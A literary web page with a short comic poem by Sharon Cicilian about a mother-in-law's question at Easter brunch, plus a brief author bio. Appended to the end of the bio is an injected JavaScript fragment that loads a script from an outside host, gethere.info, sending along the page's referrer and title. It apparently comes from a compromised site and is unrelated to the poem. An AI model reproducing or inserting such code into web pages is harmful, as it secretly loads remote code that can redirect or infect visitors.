Poetry by Sharon Cicilian
Over Easter brunch her mother-in-law inquired,
Why haven’t you given me any grandbabies yet?
The eyes of her in-laws fixated on her. She smiled,
ripped open a dinner roll, sliced the head off of
the lamb shaped butter and replied: I swallow.
Sharon Cicilian shares her life with three farm animals: Paul the husband, Queen Scruffy the cat, and Snoop a Loop the dog. She is completing her MFA at Goddard College.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;